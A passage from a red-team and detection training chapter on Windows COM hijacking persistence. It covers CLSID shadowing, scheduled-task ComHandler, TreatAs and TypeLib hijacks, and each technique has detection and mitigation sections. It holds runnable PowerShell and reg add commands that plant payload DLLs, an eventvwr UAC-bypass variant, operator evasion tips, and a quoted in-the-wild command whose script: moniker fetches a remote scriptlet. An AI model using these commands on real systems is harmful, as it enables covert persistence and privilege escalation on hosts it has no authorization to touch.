Files
2026-07-18 21:50:11 +05:30

796 lines
71 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# 05 · COM Persistence & Hijacking
> **Audience / level:** Red team operators and detection engineers; no COM internals assumed at the start, ramping to in-the-wild tradecraft and original research methodology. **Prerequisites:** basic Windows registry literacy (hives, `reg.exe`, Regedit), PowerShell basics, and the activation fundamentals from the earlier chapters (helpful but not required — section 1 rebuilds them). **Estimated reading time:** 90120 minutes.
> After this chapter you will be able to explain exactly how COM activation resolves through the registry, plant per-user persistence that no default Autoruns view shows, reproduce every documented hijack family (CLSID, ComHandler, TreatAs, TypeLib, phantom objects) in a lab, build a pass-through proxy DLL that keeps the host stable, and hunt for *new* hijackable classes on your own.
**Contents**
- [1. From zero: how COM activation resolves through the registry](#1-from-zero-how-com-activation-resolves-through-the-registry)
- [2. Persistence vectors](#2-persistence-vectors)
- [2.1 CLSID and InprocServer32 hijacking (per-user shadowing)](#21-clsid-and-inprocserver32-hijacking-per-user-shadowing)
- [2.2 Scheduled-task ComHandler persistence](#22-scheduled-task-comhandler-persistence-hijack-the-tasks-com-class)
- [2.3 TreatAs redirection (CoTreatAsClass)](#23-treatas-redirection-cotreatasclass)
- [2.4 TypeLib hijacking and the script: moniker](#24-typelib-hijacking-and-the-script-moniker-fileless-url-rearming-persistence)
- [2.5 ProgID hijacking](#25-progid-hijacking-name-based-resolution-shadowing)
- [2.6 Phantom objects and the ClickOnce variant](#26-phantom-objects-and-the-clickonce-variant-register-what-was-never-there)
- [2.7 Pass-through proxy DLL persistence](#27-pass-through-proxy-dll-persistence-stability-tradecraft-for-every-vector-above)
- [3. Tooling](#3-tooling)
- [4. Detection and hunting](#4-detection-and-hunting)
- [5. Mitigations and hardening](#5-mitigations-and-hardening)
- [Research Lab: Discovering New COM Persistence](#research-lab-discovering-new-com-persistence)
- [References](#references)
---
## 1. From zero: how COM activation resolves through the registry
The Component Object Model (COM) is Windows' binary interface standard: a client asks for an object by a class identifier and receives interface pointers it can call methods on. The operating system — not the client — decides *which binary* backs that class, and it decides by reading the registry. Whoever controls the registry entry controls the code that runs. That single fact is the entire foundation of COM persistence.
> **Beginner note:** A **CLSID** (class identifier) is a 128-bit GUID, conventionally written `{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}`, that names a COM class. A **COM server** is the binary that implements the class — either a DLL loaded into the caller's process (`InprocServer32`) or an EXE launched as a separate process (`LocalServer32`). The client activates the class with `CoCreateInstance(CLSID, ...)`, and the COM runtime (`ole32.dll` / `combase.dll`) looks the CLSID up in the registry to find the server path. The client never needs to know where the binary lives — which is exactly why swapping the path is invisible to it.
**`HKEY_CLASSES_ROOT` is not a real hive.** It is a *merged view*, constructed at query time, of two underlying locations ([2]):
- `HKLM\SOFTWARE\Classes` — machine-wide registrations, writable only by administrators.
- `HKCU\SOFTWARE\Classes` — per-user registrations, writable by the owning (unprivileged) user.
When the same subkey or value exists in both, **the per-user (HKCU) entry wins**. Microsoft's own documentation of the merged view states this precedence explicitly ([2]). Physically, the per-user data lives in the user's hive files (`NTUSER.DAT` and `UsrClass.dat`, surfaced to tools as `HKU\<SID>\Software\Classes` and `HKU\<SID>_Classes`) and is re-read at every logon ([4], [5]).
> **Key idea:** Because HKCU shadows HKLM at merge time, *any* COM class registered machine-wide can be redirected per-user with zero privileges. No admin rights, no service, no driver, no autostart entry — just a handful of values under `HKCU\Software\Classes`. This is the root primitive behind every technique in this chapter.
![Figure 1 — HKCR as a merged view: per-user registrations eclipse machine-wide ones](diagrams/d03-hkcr-merge.png)
*How to read this figure: `HKCR\CLSID\{...}` is a funnel over `HKCU\Software\Classes` (top) and `HKLM\SOFTWARE\Classes` (bottom). Where both define the same key, the HKCU copy — shown in red — eclipses the HKLM original for that user only, and the merge happens at query time with no admin check.*
**The resolution path.** For an in-process activation of `CoCreateInstance(CLSID, ...)`, the COM runtime consults, in order ([4]):
1. `HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32` (or the `LocalServer32`, `InprocHandler32`, or `TreatAs` subkeys) — checked first;
2. `HKCR\CLSID\{CLSID}\...` — the merged view, effectively the HKLM registration if no HKCU shadow exists;
3. `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\` — a legacy shell fallback.
32-bit processes on 64-bit Windows additionally use the WoW64 reflection path `HKCU\Software\Classes\Wow6432Node\CLSID\...` — critical when the target process is 32-bit (the classic example being 32-bit Microsoft Office) ([4], [23]).
**Anatomy of an `InprocServer32` key.** The values that matter ([4]):
| Value | Type | Meaning |
|---|---|---|
| `(Default)` | `REG_SZ` / `REG_EXPAND_SZ` | Full path to the server DLL |
| `ThreadingModel` | `REG_SZ` | `Apartment` (STA), `Free` (MTA), `Both`, or `Neutral` — which COM apartment the object joins |
| `LoadWithoutCOM` | `REG_SZ` | Shell-only: honored by shell32 `SHCoCreateInstance` to load the DLL by path without full COM checks (abused in the eventvwr crossover, §2.1) |
> **Beginner note:** An **apartment** is COM's threading boundary. A *single-threaded apartment* (STA, `ThreadingModel=Apartment`) serializes calls to the object on one thread; a *multithreaded apartment* (MTA, `Free`) allows concurrent calls. `Both` means the object tolerates whichever apartment the client lives in. If the hijack registration declares a threading model the client does not expect, COM silently inserts proxy/stub marshaling between apartments — slow at best, a hung or crashed host at worst. Matching the original model is a stability requirement, not a nicety (§2.7).
**`InprocServer32` vs `LocalServer32`.** The two server shapes behave very differently as persistence ([4]):
- `InprocServer32` → a DLL mapped into the *caller's* process via `LoadLibrary`; `ole32`/`combase` then calls the exported `DllGetClassObject` to obtain the class factory. This is the most common persistence shape: your code runs inside a legitimate, often Microsoft-signed host (explorer.exe, taskhostw.exe, a browser) and inherits its integrity and reputation.
- `LocalServer32` → an EXE (or an arbitrary command line) launched as a new process by the DCOM Server Process Launcher (`svchost.exe -k DcomLaunch`) with the `-Embedding` switch. Because the value may include arguments, CrowdStrike demonstrated fileless persistence with `cmd.exe`/`powershell.exe` plus script arguments in a `LocalServer32` value ([16]). Detection anchor: a properly instantiated COM server spawns from `svchost.exe`; any other parent for an `-Embedding` command line is suspicious ([4]).
**Phantom, orphaned, and abandoned objects.** Two degenerate registration states are persistence gold ([4], [13], [16], [25]):
1. **Orphaned registrations** — the CLSID exists but the binary its `InprocServer32`/`LocalServer32` points to does not (leftovers of uninstalled software). bohops' canonical example is VMware Workstation's leftover `vmnetbridge.dll` registration at CLSID `{3d09c1ca-2bcc-40b7-b9bb-3f3ec143a87b}` ([4]). If the expected directory is attacker-writable, dropping a payload at the expected path hijacks the object **without touching the registry at all**; if only the registry is writable (HKCU shadow), you do not even need the original path.
2. **Undefined-but-referenced classes** — programs call `CoCreateInstance` on CLSIDs that are not registered anywhere (ProcMon shows `NAME NOT FOUND`). Registering that CLSID yourself in HKCU creates a brand-new "phantom" object the program then loads. Advantages over classic hijacking: **no legitimate value is overwritten, no functionality breaks, and there is nothing to diff** (CrowdStrike ClickOnce research, 2025 ([16]); pentestlab/SpecterOps methodology ([15], [25])).
**Why this persistence survives and stays quiet.** Three properties make COM hijacking a tier-one userland persistence mechanism ([4], [5]):
- It lives **entirely in the registry**, inside the user's own hive files, re-read at every logon. There is no Run-key entry, no service, no scheduled-task modification for a defender to enumerate.
- The trigger is **normal system activity**: a legitimate, frequently Microsoft-signed process (explorer.exe, taskhostw.exe, svchost.exe, OUTLOOK.EXE, browsers) performs the `LoadLibrary` of your DLL. Execution inherits the host's integrity level and reputation, and no new suspicious process appears.
- **Autoruns has a blind spot**: Sysinternals Autoruns enumerates only specific COM categories and does not diff the full `HKCU\Software\Classes\CLSID` tree against HKLM, so a classic per-user CLSID shadow is invisible in default views. Even when a Run-key launcher is used (`rundll32.exe -sta {CLSID}` or `mmc.exe -Embedding payload.msc`), the visible autorun points at a signed Microsoft binary while the payload path hides in the Classes hive ([5]).
> **Warning:** MITRE ATT&CK maps COM hijacking as **T1546.015** under *both* Persistence and Privilege Escalation tactics ([1]). The privesc angle is real: when the triggering host auto-elevates (eventvwr.exe, §2.1), a per-user hijack converts Medium-integrity code execution into a High-integrity payload with no prompt.
> **Legal:** Every technique in this chapter executes arbitrary code on a target host and several survive reboots. Use only on systems you own or are explicitly authorized to test, inside written scope. The same registry writes are high-signal detection opportunities — assume a competent blue team is watching.
---
## 2. Persistence vectors
Each vector below follows the same template: MITRE mapping, publication history, numbered mechanics, prerequisites, a lab-runnable proof of concept, the telemetry it leaves, and mitigations. All of them reduce to one primitive from section 1 — a per-user registration that wins the HKCR merge — differing only in *which* registry structure the client resolves (CLSID, task-handler class, `TreatAs` link, TypeLib, ProgID, or a dangling reference).
### 2.1 CLSID and InprocServer32 hijacking (per-user shadowing)
**MITRE:** [T1546.015](https://attack.mitre.org/techniques/T1546/015/) · **Since:** first public discussion of per-user COM abuse by Jon Larimer, 2011 (per leoloobeek ([11])); earliest vendor documentation G-Data, Oct 2014 ([6]) · **Affects:** all Windows builds implementing the HKCR per-user merge (verify in lab for specific builds)
The canonical COM persistence technique: pick a CLSID that a desirable, frequently-running host process instantiates, and register the same CLSID under `HKCU\Software\Classes\CLSID` with an `InprocServer32` pointing at your DLL. The HKCU shadow wins the merge, the host loads your code, and the machine-wide registration is never touched ([4], [5], [6]). The technique has been used in the wild by APT28/Sednit (Seduploader, JHUHUGIT) ([19], [37]), Turla's ComRAT ([38]), BBSRAT, PcShare, and a long tail of others ([1]).
![Figure 2 — Per-user COM hijack: the client's activation resolves to the attacker's HKCU shadow](diagrams/d21-com-hijack.png)
*How to read this figure: a client process (e.g. explorer.exe) calls `CoCreateInstance`, combase resolves the CLSID through the registry, and the HKCU `InprocServer32` naming the attacker DLL (red path) is consulted before — and shadows — the legitimate HKLM registration (greyed path). `LoadLibrary` then maps the attacker DLL into the client and `DllGetClassObject` runs.*
#### Mechanics
1. **Target selection.** Identify a CLSID instantiated by an auto-start, Microsoft-signed host in the user's session — explorer.exe, taskhostw.exe, a browser, Outlook (see documented cases below and the Research Lab).
2. **Verify the baseline.** Confirm the HKLM registration exists (so client code keeps working) and that no HKCU shadow already exists.
3. **Plant the shadow.** Create `HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32` with `(Default)` = path to the payload DLL and `ThreadingModel` matching the HKLM original.
4. **Trigger.** Wait for — or force — the host to activate the class. At the next logon (or immediately, via `rundll32.exe -sta {CLSID}` or by launching the host), the runtime resolves the HKCU entry and `LoadLibrary`s your DLL inside the host.
5. **Stay stable.** The payload DLL should proxy the real server (§2.7) so the host receives the interface pointers it expects and nothing user-visible breaks.
#### Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Standard user (write access to own HKCU) |
| OS/build | Any Windows with the HKCR per-user merge; WoW6432Node path needed for 32-bit targets ([4], [23]) |
| Config | Target CLSID instantiated by a process in the user's session; payload DLL on disk readable by the host |
| Payload | DLL exporting `DllGetClassObject`/`DllCanUnloadNow`; pass-through recommended (§2.7) |
#### Proof of concept
```powershell
# Per-user CLSID shadow of CAccPropServicesClass (mirrors Atomic Red Team T1546.015 Test #1 [29])
$clsid = '{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}'
$base = "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32"
New-Item -Path $base -Force | Out-Null
Set-ItemProperty -Path $base -Name '(Default)' -Value "$env:APPDATA\payload.dll"
Set-ItemProperty -Path $base -Name 'ThreadingModel' -Value 'Apartment'
# Immediate trigger (signed Microsoft invoker):
# rundll32.exe -sta $clsid
# Cleanup: Remove-Item "HKCU:\Software\Classes\CLSID\$clsid" -Recurse -Force
```
#### Documented hijackable CLSIDs and in-the-wild cases
- **`{0A29FF9E-7F9C-4437-8B11-F424491E3931}` — Event Viewer MMC snap-in class (persistence + UAC crossover).** Loaded by `eventvwr.exe` (auto-elevated) and by `mmc.exe eventvwr.msc`; the HKCU shadow path is free. Because eventvwr auto-elevates, the payload loads at High integrity — a persistence-to-privesc chain; the tradeoff is that it is user-triggered (someone must open Event Viewer) ([28], [22]). Documented by hfiref0x/UACME and Metasploit's `exploit/windows/local/bypassuac_comhijack`; 3gstudent lists it among HKCU CLSID hijacks of elevated programs alongside `{B29D466A-857D-35BA-8712-A758861BFEA1}`, `{D5AB5662-131D-453D-88C8-9BBA87502ADE}`, and `{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}` ([22], [28]). Related but distinct: enigma0x3's "fileless" eventvwr UAC bypass pivots on `HKCU\Software\Classes\mscfile\shell\open\command` — a file association, not a CLSID — implemented in `Invoke-EventVwrBypass.ps1` ([9]).
```text
reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32" /v "" /t REG_SZ /d "C:\path\payload.dll" /f
reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32" /v "LoadWithoutCOM" /t REG_SZ /d "" /f
reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f
reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder" /v "HideOnDesktop" /t REG_SZ /d "" /f
reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder" /v "Attributes" /t REG_DWORD /d 0xf090013d /f
```
(`0xf090013d` is the SFGAO attribute combination the shell requires to accept the object ([28]).)
- **`{BCDE0395-E52F-467C-8E3D-C4579291692E}` — MMDeviceEnumerator (audio endpoint enumerator, `mmdevapi.dll`).** Instantiated by **explorer.exe at every logon** and by virtually every audio-touching process (Firefox documented; media players, browsers, VOIP clients) — an extremely reliable trigger. **In the wild:** APT28/Sednit's Seduploader combined `HKCU\Environment\UserInitMprLogonScript` with an MMDeviceEnumerator COM hijack; per Cisco Talos, the payload would execute "by rundll32.exe ... or by explorer.exe if the COM Object hijack is performed" ([19]); MITRE's APT28 page (G0007) cites the behavior ([37]), and FireEye/Mandiant documented JHUHUGIT hijacking MMDeviceEnumerator while also registering as a Shell Icon Overlay handler. A 2019 Chinese-research PoC staged the DLL as `%APPDATA%\Microsoft\Installer\{BCDE0395-...}\test._dl` with `ThreadingModel=Apartment`, triggered via iexplore.exe. Reference telemetry exists: sbousseaden's EVTX-ATTACK-SAMPLES ships `persist_firefox_comhijack_sysmon_11_13_7_1.evtx`, a Sysmon capture of an MMDeviceEnumerator hijack via Firefox ([30]).
- **`{42AEDC87-2188-41FD-B9A3-0C966FEABEC1}` — MruPidlList (shell32).** Loaded by **explorer.exe at every shell start** and repeatedly throughout the session — the classic, most-abused persistence CLSID. **In the wild:** Turla's **ComRAT** replaces the path to shell32.dll in `{42aedc87-...}\InprocServer32` (MITRE S0126 ([38])); **BBSRAT** pairs MruPidlList on one architecture with `{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}` ("Microsoft WBEM New Event Subsystem") on the other (Palo Alto); **PcShare** uses the HKCU shadow of `{42aedc87-...}`; SILENTTRINITY references it ([1]). G-Data's October 2014 write-up — MITRE's citation for the technique — described exactly this class ([6]).
- **`{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}` — CAccPropServicesClass (MSAA "AccPropServices", `oleacc.dll`).** Microsoft's Active Accessibility property server, instantiated by many UI processes (browsers, Office) — high trigger frequency. 32-bit confirmed; 64-bit caveats reported (verify in lab). Documented in bohops' research ([4]); **Atomic Red Team T1546.015 Test #1** uses exactly this CLSID with `rundll32.exe -sta {B5F8350B-...}` as invoker ([29]).
- **Browser/WebView2 targets (SpecterOps, May 2025).** `msedgewebview2.exe`, `msedge.exe`, `explorer.exe`, and `chrome.exe` all query HKCU for `{54E211B6-3650-4F75-8334-FA359598E1C5}` (InprocServer32 = `%SystemRoot%\system32\directmanipulation.dll`, `ThreadingModel=Both`) and `{9FCBE510-A27C-4B3B-B9A5-BF65F00256A8}` — hijacking yields execution inside browser processes when combined with export-forwarding stubs (FaceDancer / Koppeling) ([15]).
- **Shell extension classes** enumerated in NCC acCOMplice's `masterkeys.csv`, e.g. `{69486DD6-C19F-42E8-B508-A53F9F8E67B8}`, `{9E175B6D-F52A-11D8-B9A5-505054503030}`, `{9BA05972-F6A8-11CF-A442-00A0C90A8F39}` ([13]).
- **Defender watchlist (startupdefense, via the research corpus):** `{42aedc87-2188-41fd-b9a3-0c966feabec1}`, `{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}`, `{E6D34FFC-AD32-4d6a-934C-D387FA873A19}`, `{3543619C-D563-43f7-95EA-4DA7E1CC396A}`.
#### OpSec & detection
- **Sysmon:** EID 12 (key create/delete) / 13 (value set) on `HKU\<SID>_Classes\CLSID\*` and `HKU\<SID>\Software\Classes\CLSID\*` — especially `InprocServer32` writes pointing outside `%SystemRoot%\System32` and `Program Files` ([31], [33]).
- **Baseline diff:** an HKCU CLSID shadowing an HKLM CLSID *with a different server path* is near-zero false positive (this is exactly Elastic's prebuilt rule logic ([34])).
- **Invoker command lines:** `rundll32.exe -sta {CLSID}` (note the `-sta` flag tolerates junk suffixes such as `-stagggg`), `verclsid.exe /S /C {CLSID}`, `xwizard.exe RunWizard /taero /u {CLSID}`, `mmc.exe -Embedding <file.msc>` with a non-svchost parent.
- **Noise reduction for operators:** pass-through proxying (§2.7) prevents host crashes (WerFault, UI hangs) that would otherwise betray the hijack; stage the DLL under a plausible per-user path such as `%APPDATA%\Microsoft\...` as the ITW actors did.
#### Mitigations
- Alert on HKCU `CLSID` writes that shadow HKLM registrations (Sigma/Elastic rules in §4); baseline-export and diff `HKCU\Software\Classes\CLSID` and `UsrClass.dat` against a gold image.
- Cross-check Sysmon EID 7 (image load) for explorer/svchost/taskhostw loading DLLs from outside System32.
- Treat per-user registry persistence as in-scope for EDR auto-remediation — deleting the shadow key restores the HKLM registration with no collateral damage.
---
### 2.2 Scheduled-task ComHandler persistence (hijack the task's COM class)
**MITRE:** [T1546.015](https://attack.mitre.org/techniques/T1546/015/) · **Since:** enigma0x3, May 2016 ([7]) · **Affects:** Windows builds shipping user-context ComHandler tasks (e.g. the WinINet CacheTask; verify per build in lab)
Scheduled tasks whose action is a **COM handler** (`<ComHandler><ClassId>{...}</ClassId>` in the task XML) do not launch a binary — the Task Scheduler activates the specified CLSID inside the task host when the task fires. Hijacking is therefore not a task modification at all: shadow the handler CLSID in HKCU, and every time the stock, Microsoft-signed task fires, your DLL runs ([7], [10]). The task itself remains byte-identical, so task-enumeration-based persistence audits see nothing.
#### Mechanics
1. **Enumerate** scheduled tasks with ComHandler actions that run in a user context with enabled triggers — enigma0x3's `Get-ScheduledTaskComHandler.ps1` ([8]) or the PowerShell loop below.
2. **Pick a handler CLSID** with a frequent trigger. The documented favorite: `{0358B920-0AC7-461F-98F4-58E32CD89148}` — the **WinINet CacheTask** (`C:\Windows\System32\Tasks\Microsoft\Windows\Wininet\CacheTask`), whose legitimate InprocServer32 is `%systemroot%\system32\wininet.dll`, `ThreadingModel=Both`, trigger = **logon of any user**. Its HKLM key is TrustedInstaller-owned, but the HKCU shadow needs no such rights; MDSec's walkthrough (Dominic Chell, May 2019) executes `c:\tools\demo.dll` at logon this way ([10]).
3. **Confirm** the HKLM registration and its `ThreadingModel=Both`; confirm no existing HKCU shadow.
4. **Shadow** `HKCU\Software\Classes\CLSID\{0358B920-...}\InprocServer32` → payload stub DLL; `ThreadingModel=Both`.
5. **Drop a pass-through stub** forwarding to `C:\Windows\System32\wininet.dll` (§2.7) so the cache task still works.
6. At the **next logon**, Task Scheduler fires CacheTask → the task host resolves the CLSID → HKCU wins → the stub loads inside the task host, runs its payload thread, and proxies everything to wininet.dll. No autostart entries, no broken task ([10]).
The generic hunter (from the research corpus):
```powershell
$Tasks = Get-ScheduledTask
foreach ($Task in $Tasks) {
if ($Task.Actions.ClassId -ne $null -and $Task.Triggers.Enabled -eq $true -and $Task.Principal.GroupId -eq "Users") {
Write-Host "$($Task.TaskName) :: $($Task.Actions.ClassId)"
}
}
```
Other documented handler CLSIDs:
| CLSID | Task / context | Source |
|---|---|---|
| `{0358B920-0AC7-461F-98F4-58E32CD89148}` | WinINet CacheTask; logon of any user; `wininet.dll`, `ThreadingModel=Both` | MDSec ([10]) |
| `{A6BA00FE-40E8-477C-B713-C64A14F18ADB}` | `WindowsUpdate\Automatic App Update` task (ComHandler) | enigma0x3 ([7]) |
| `{2DEA658F-54C1-4227-AF9B-260AB5FC3543}` | ITW (UNC2529): attacker registered their own payload CLSID and added a `TreatAs` under this legitimate task-loaded CLSID → payload every user logon | FireEye/Mandiant ([20]) |
| `{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}` | *Training example* (ZeroPoint RTO; COM-Hunter readme; snovvcrash). Friendly name unconfirmed — do not rely on it in production targets. | ([14]) |
#### Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Standard user (HKCU write) |
| OS/build | A user-context ComHandler task with an enabled logon/idle trigger must exist (CacheTask on stock Windows) |
| Config | Handler CLSID registered in HKLM; no pre-existing HKCU shadow |
| Payload | Pass-through stub matching the original `ThreadingModel` |
#### Proof of concept
```powershell
# Shadow the CacheTask handler CLSID per-user (lab only)
$clsid = '{0358B920-0AC7-461F-98F4-58E32CD89148}'
$base = "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32"
New-Item -Path $base -Force | Out-Null
Set-ItemProperty -Path $base -Name '(Default)' -Value "$env:APPDATA\stub.dll" # forwards to wininet.dll
Set-ItemProperty -Path $base -Name 'ThreadingModel' -Value 'Both'
# Trigger: log off/on, or run the task: schtasks /run /tn "Microsoft\Windows\Wininet\CacheTask"
# Cleanup: Remove-Item "HKCU:\Software\Classes\CLSID\$clsid" -Recurse -Force
```
#### OpSec & detection
- Registry telemetry identical to §2.1 (Sysmon 12/13 on the shadow write); the trigger process is the signed task host, so process-based whitelisting alone will not catch execution.
- Defender angle: enumerate ComHandler tasks (script above), then diff each handler CLSID's HKCU vs HKLM registration — a mismatch is a finding.
- Operator angle: `schtasks /run` can force the trigger for testing; the stub must keep the task functional or repeated failures become user-visible.
#### Mitigations
- Alert on HKCU shadows of handler CLSIDs returned by ComHandler enumeration; baseline-diff the Classes hive (§4).
- Watch for task-host processes loading DLLs from per-user paths (Sysmon EID 7).
---
### 2.3 TreatAs redirection (CoTreatAsClass)
**MITRE:** [T1546.015](https://attack.mitre.org/techniques/T1546/015/) · **Since:** documented by enigma0x3 + subTee ("Windows Operating System Archaeology", via bohops Part 2 ([5])) and Hexacorn "Beyond good ol' Run key, Part 84" (2018) ([21]) · **Affects:** all COM builds implementing `TreatAs` emulation ([3])
`TreatAs` is a documented COM feature: the key `HKCR\CLSID\{A}\TreatAs` (default value = `{B}`) declares that class `{B}` "can emulate" class `{A}`, so `CoCreateInstance({A})` silently resolves to `{B}` ([3]). The APIs are `CoGetTreatAsClass()` and `CoTreatAsClass()`; related machinery includes the `AutoTreatAs` value and the `Emulated` subkey. Because `TreatAs` is a *key* rather than a modification of `{A}`'s server values, an attacker can add it in HKCU **without ever touching `{A}`'s InprocServer32** — evading detections that only watch InprocServer32 writes ([5]).
#### Mechanics
1. **Register the attacker class** `{B}` per-user: `HKCU\Software\Classes\CLSID\{B}\InprocServer32` → payload DLL (+ matching `ThreadingModel`, optional ProgID).
2. **Link the legitimate class** `{A}`: create `HKCU\Software\Classes\CLSID\{A}\TreatAs` with default value `{B}`.
3. Any client instantiating `{A}` is transparently handed `{B}` — your code. `{A}`'s own registration is never modified.
Documented example (enigma0x3 + subTee, via bohops Part 2 ([5]); Hexacorn Part 84 ([21])): `{3734FF83-6764-44B7-A1B9-55F56183CDB0}\TreatAs = {00000001-0000-0000-0000-0000FEEDACDC}` → a scrobj.dll `ScriptletURL` payload.
**In the wild — Turla's Outlook backdoor (ESET, August 2018) ([18]):**
```text
HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs = {49CBB1C7-97D1-485A-9EC1-A26065633066}
```
where `{49CBB1C7-...}` ("Mail Plugin") has `InprocServer32` = the backdoor DLL with `ThreadingModel=Apartment`. Result: the backdoor loads inside OUTLOOK.EXE at every launch. 3gstudent automated the chain in `Invoke-OutlookPersistence.ps1`, which handles the `Wow6432Node` reflection for 32-bit Office ([22], [23]). FireEye/Mandiant's UNC2529 used the same idea under a scheduled-task CLSID (§2.2) ([20]).
![Figure 3 — TreatAs and TypeLib redirection: two resolution paths that leave the original registration untouched](diagrams/d22-treatas-typelib.png)
*How to read this figure: on the left, `CoCreateInstance({A})` hits an HKCU `TreatAs = {B}` link and resolves the attacker's class `{B}` — `{A}`'s InprocServer32 is never modified. On the right, an Automation client's `LoadTypeLib` resolves the TypeLib's `win64` value to a `script:` moniker and executes a scriptlet via scrobj.dll. Both paths are HKCU-only writes outside the classic `InprocServer32` detection focus.*
#### Prerequisites
| Requirement | Detail |
|---|---|
| Privileges | Standard user |
| OS/build | Any COM build; Wow6432Node placement for 32-bit clients (e.g. 32-bit Office) ([23]) |
| Config | A high-value client that activates `{A}` frequently (Outlook, shell, task host) |
| Payload | Attacker class `{B}` registered per-user with correct `ThreadingModel` |
#### Proof of concept
```powershell
# TreatAs link: clients activating {A} receive attacker class {B} (lab CLSIDs — illustrative)
$A = '{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}' # class the client requests (Turla ITW value)
$B = '{49CBB1C7-97D1-485A-9EC1-A26065633066}' # attacker "Mail Plugin" class
New-Item "HKCU:\Software\Classes\CLSID\$B\InprocServer32" -Force |
New-ItemProperty -Name '(Default)' -Value "$env:APPDATA\mailplugin.dll" | Out-Null
Set-ItemProperty "HKCU:\Software\Classes\CLSID\$B\InprocServer32" -Name 'ThreadingModel' -Value 'Apartment'
New-Item "HKCU:\Software\Classes\CLSID\$A\TreatAs" -Force |
New-ItemProperty -Name '(Default)' -Value $B | Out-Null
# Cleanup: remove both HKCU keys
```
#### OpSec & detection
- `TreatAs` writes under `HKU\<SID>*\Classes\CLSID\*` by non-svchost/non-Office processes are high-signal; SigmaHQ ships dedicated TreatAs rules ([31], [32]).
- The legitimate class's server path never changes, so naive InprocServer32 diffing misses this — defenders must diff *keys*, not just values.
- Operator note: prefer hijacking classes whose emulation by a third-party class is behaviorally plausible; Outlook plugin-style classes are the proven ITW choice ([18]).
#### Mitigations
- Sigma `registry_set_treatas_persistence` / `registry_set_persistence_com_key_linking` (§4); alert on any `ScriptletURL` value creation.
- Include `TreatAs` subkeys in gold-image hive diffs.
---
### 2.4 TypeLib hijacking and the script: moniker (fileless, URL-rearming persistence)
**MITRE:** [T1546.015](https://attack.mitre.org/techniques/T1546/015/) — updated in 2025 to add the TypeLib / `script:`-moniker variation, citing ReliaQuest ([1], [17]) · **Since:** in the wild March 2025, published April 2025 (ReliaQuest) ([17]) · **Affects:** any host whose Automation clients resolve type libraries through the HKCR merge (verify per build in lab)
This is the most important recent evolution of COM persistence and deserves treatment as a first-class technique, not a footnote. Classic hijacks redirect a **CLSID's server**; a TypeLib hijack redirects the **type library** that oleaut32 loads to marshal an Automation interface. Because the TypeLib registration lives under a different root (`HKCR\TypeLib`, not `HKCR\CLSID`), every detection rule keyed on `CLSID\...\InprocServer32` writes is blind to it ([17], [24]).
> **Beginner note:** A **type library** (TypeLib) is COM's interface-description database: it records, for a set of Automation (`IDispatch`-compatible) interfaces, their methods, signatures, and the CLSIDs that implement them — identified by a **LIBID** GUID plus a version. When any Automation client (VBA, VBScript/JScript `GetObject`/`CreateObject`, .NET RCWs, Explorer.exe, OLE embedding) binds such an interface, `oleaut32!LoadTypeLib()` resolves `HKCR\TypeLib\{LIBID}\<version>\0\win32|win64` and loads whatever path the default value names — normally a `.tlb`, `.dll`, or `.olb`.
#### Mechanics
1. **Resolution path.** Type libraries resolve from `HKCR\TypeLib\{LIBID}\<version>\0\win32|win64`, default value = path. The same HKCR merge applies: shadowing `win32`/`win64` in `HKCU\Software\Classes\TypeLib\{LIBID}\...` redirects the load — per-user, no admin ([24]).
2. **The killer detail: the value accepts a moniker string.** Setting it to `script:<path-or-URL>` makes oleaut32 run a Windows Script Component (`.sct`) through scrobj.dll — including a **remote** `script:https://...` scriptlet, i.e. a fileless payload re-downloaded at every trigger ([17], [24]).
3. **Trigger.** Any Automation client touching that LIBID loads the "type library" — which is actually your scriptlet. Explorer.exe references the ITW-targeted LIBID every time it runs ([17]).
4. **Discovery recipe (HackTricks).** Read the LIBID from `HKCR\CLSID\{CLSID}\TypeLib`, read the version from `HKCR\TypeLib\{LIBID}`, then create `HKCU:\Software\Classes\TypeLib\{LIBID}\{ver}\0\win32` = `script:C:\...\evil.sct` — a JScript `<scriptlet>` that re-arms the main chain ([24]).
#### In the wild — ReliaQuest / Black Basta affiliate (2025)
ReliaQuest's "Hijacked and Hidden" report (incidents of March 2025, published April 2025; operators affiliated with Black Basta / Storm-1811) observed exactly this primitive ([17]):
```text
reg add "HKEY_CURRENT_USER\Software\Classes\TypeLib\{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}\1.1\0\win64" /t REG_SZ /d "script:hxxps://drive.google[.]com/uc?export=download&id=1l5cMkpY9HIERae03tqqvEzCVASQKen63" /f
```
- `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` is the **SHDocVw** library (Microsoft Web Browser control / IE), version `1.1`.
- ReliaQuest observed **Explorer.exe reference this object every time it runs**, so the payload was auto-downloaded at every restart ([17]).
- MITRE updated T1546.015 in 2025 to add this TypeLib / `script:`-moniker variation, citing ReliaQuest ([1]).
**Why it is stealthier than a classic CLSID hijack:**
